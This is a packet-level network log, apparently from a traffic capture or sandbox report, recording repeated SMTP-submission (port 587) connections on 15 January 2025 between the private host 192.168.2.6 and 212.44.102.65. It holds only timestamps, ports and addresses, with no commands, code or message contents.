Jan 15, 2025 08:42:34.934508085 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934514046 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934515953 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934520006 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934528112 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934606075 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934616089 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934621096 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934628963 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934640884 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:34.934657097 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.261584044 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.261620998 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.261677027 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.261722088 CET	50003	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.262897015 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.266542912 CET	587	50003	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.267802000 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.267869949 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.422125101 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.508269072 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.854845047 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:35.855633974 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:35.860477924 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.049984932 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.050985098 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:36.055804968 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.245986938 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.246594906 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:36.251420021 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.456135988 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.456505060 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:36.461337090 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.650705099 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.652502060 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:36.657308102 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.905750990 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:36.989936113 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:36.994820118 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.184591055 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.184858084 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.184909105 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.184937000 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.185008049 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.186726093 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.191766977 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191786051 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191796064 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191797972 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191802025 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191807985 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191822052 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191832066 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191843033 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191850901 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.191854000 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.191895008 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.192051888 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.192060947 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.192080975 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.192097902 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.192121029 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.192135096 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.196741104 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196767092 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196791887 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.196827888 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.196872950 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196883917 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196892977 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196933985 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196950912 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.196950912 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.196994066 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.196995020 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.197005033 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.197015047 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.197067022 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.201694012 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.201764107 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.201781034 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.201828957 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.201832056 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.201872110 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.201934099 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202004910 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202056885 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202066898 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202076912 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202125072 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202178001 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202249050 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202271938 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202281952 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202332973 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202343941 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202358007 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202368975 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202390909 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202402115 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202413082 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202424049 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202449083 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202460051 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.202471972 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206636906 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206698895 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206711054 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206768036 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206778049 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206813097 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206821918 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206943989 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.206954956 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.207036018 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:37.211863041 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.645283937 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:37.715188980 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.303934097 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.308867931 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:57.701718092 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:57.701946974 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:57.704027891 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.704123020 CET	50004	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.708178997 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.708941936 CET	587	50004	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:57.713068008 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:57.715725899 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.741215944 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:57.746113062 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.137993097 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.138109922 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.139739037 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.139739037 CET	50005	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.144316912 CET	50007	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.144584894 CET	587	50005	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.149148941 CET	587	50007	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.151896954 CET	50007	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.312588930 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.312870026 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.317725897 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.532712936 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.532883883 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.537806034 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.728929043 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.729131937 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.734072924 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.746793985 CET	587	50007	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.746922016 CET	50007	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.751792908 CET	587	50007	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.762206078 CET	50007	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.767291069 CET	587	50007	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.767381907 CET	50007	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.830450058 CET	50008	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.835349083 CET	587	50008	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.835582018 CET	50008	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.872009039 CET	50008	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.876909971 CET	587	50008	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.877129078 CET	50008	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.967173100 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.967369080 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.972196102 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.994570971 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:58.999512911 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:58.999628067 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.163362026 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.163548946 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.168435097 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.409013033 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.409188032 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.414088011 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.605465889 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.609817028 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.609878063 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.609878063 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.610126972 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.612569094 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.614753008 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.614762068 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.614774942 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.614909887 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.614943027 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617446899 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617454052 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617480993 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617486954 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617501974 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617538929 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.617578030 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.617593050 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.617595911 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617624998 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.617666006 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.617707968 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.618406057 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.618572950 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.619517088 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.619524002 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.619643927 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.619728088 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.619843006 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.622395992 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.622447014 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.622452974 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.622580051 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.622587919 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.622636080 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.622782946 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.623342991 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.624501944 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.624507904 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.624682903 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.624701977 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.627388000 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627502918 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.627509117 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627554893 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627641916 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627650976 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627701998 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.627751112 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627757072 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627768993 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627777100 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.627782106 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.628076077 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.628132105 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.628137112 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.628221989 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.628227949 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629514933 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629520893 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629533052 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629551888 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629556894 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629563093 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629568100 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.629663944 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632273912 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632280111 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632318020 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632323980 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632361889 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632368088 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632390022 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632395029 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632517099 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632576942 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632688046 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632694006 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632707119 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632759094 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632765055 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.632772923 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.812207937 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:42:59.812522888 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:42:59.817303896 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.006330013 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.006839991 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.011802912 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.086689949 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.193291903 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.198486090 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.216340065 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.216989040 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.221798897 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.413558960 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.414093018 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.418934107 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.592531919 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.592607975 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.592751980 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.592751980 CET	50006	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.594204903 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.597637892 CET	587	50006	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.599148035 CET	587	50010	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.599275112 CET	50010	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.656189919 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.656502008 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.661295891 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.850260019 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.850518942 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.850626945 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.850626945 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.850626945 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.851907969 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.855382919 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.855439901 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.855468988 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.855582952 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.855628014 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856786013 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856815100 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856864929 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856892109 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.856894016 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856921911 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856972933 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.856977940 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.857001066 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.857028008 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.857040882 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.857052088 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.857055902 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.857089996 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.857165098 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.860492945 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.860577106 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.861882925 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.861948013 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.861979008 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.861984968 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862006903 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862030983 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862057924 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862065077 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862122059 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862131119 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862152100 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862179041 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862191916 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862240076 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.862248898 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862298012 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.862380028 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.865581989 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.865657091 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.866985083 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867083073 CET	50009	587	192.168.2.6	212.44.102.65
Jan 15, 2025 08:43:00.867160082 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867233038 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867261887 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867290020 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867341995 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867398024 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867425919 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867491007 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867521048 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867571115 CET	587	50009	212.44.102.65	192.168.2.6
Jan 15, 2025 08:43:00.867599964 CET	587	50009	212.44.102.65	192.168.2.6
